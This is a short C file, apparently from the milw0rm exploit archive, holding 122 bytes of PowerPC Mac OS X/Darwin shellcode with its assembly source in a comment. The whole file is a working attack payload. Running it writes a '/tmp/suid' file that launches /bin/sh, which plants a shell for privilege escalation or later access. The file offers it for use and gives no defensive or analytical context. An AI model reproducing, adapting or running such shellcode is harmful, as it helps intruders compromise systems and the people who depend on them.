/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does open(); write(); close(); exit();
See ASM below.
122 Bytes.
*/
char shellcode[] =
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x71"
"\x39\x08\xfe\xf4\x7c\xa8\x29\xae"
"\x38\x7f\x01\x68\x38\x63\xfe\xf4"
"\x38\x80\x02\x01\x38\xa0\xff\xff"
"\x39\x40\x01\x70\x38\x0a\xfe\x95"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x38\x9f\x01\x72\x38\x84\xfe\xf4"
"\x38\xaa\xfe\x9c\x38\x0a\xfe\x94"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x38\x0a\xfe\x96\x44\xff\xff\x02"
"\x60\x60\x60\x60\x38\x0a\xfe\x91"
"\x44\xff\xff\x02\x2f\x74\x6d\x70"
"\x2f\x73\x75\x69\x64\x58\x23\x21"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
"\x73\x68";
int main (void)
{
__asm__("b _shellcode");
}
/*
; PPC OS X / Darwin Shellcode by B-r00t.
; open(); write(); close(); exit()
; Creates an SUID '/tmp/suid' to execute '/bin/sh'.
;
.globl _main
.text
_main:
xor. r5, r5, r5
bnel _main
mflr r31
addi r8, r31, 268+92+9
addi r8, r8, -268
stbx r5, r8, r5
addi r3, r31, 268+92
addi r3, r3, -268
li r4, 513
li r5, -1
li r10, 368
addi r0, r10, -363
.long 0x44ffff02
.long 0x60606060
addi r4, r31, 268+92+10
addi r4, r4, -268
addi r5, r10, -356
addi r0, r10, -364
.long 0x44ffff02
.long 0x60606060
addi r0, r10, -362
.long 0x44ffff02
.long 0x60606060
addi r0, r10, -367
.long 0x44ffff02
path: .asciz "/tmp/suidX#!/bin/sh\nsh"
*/
// milw0rm.com [2004-09-26]
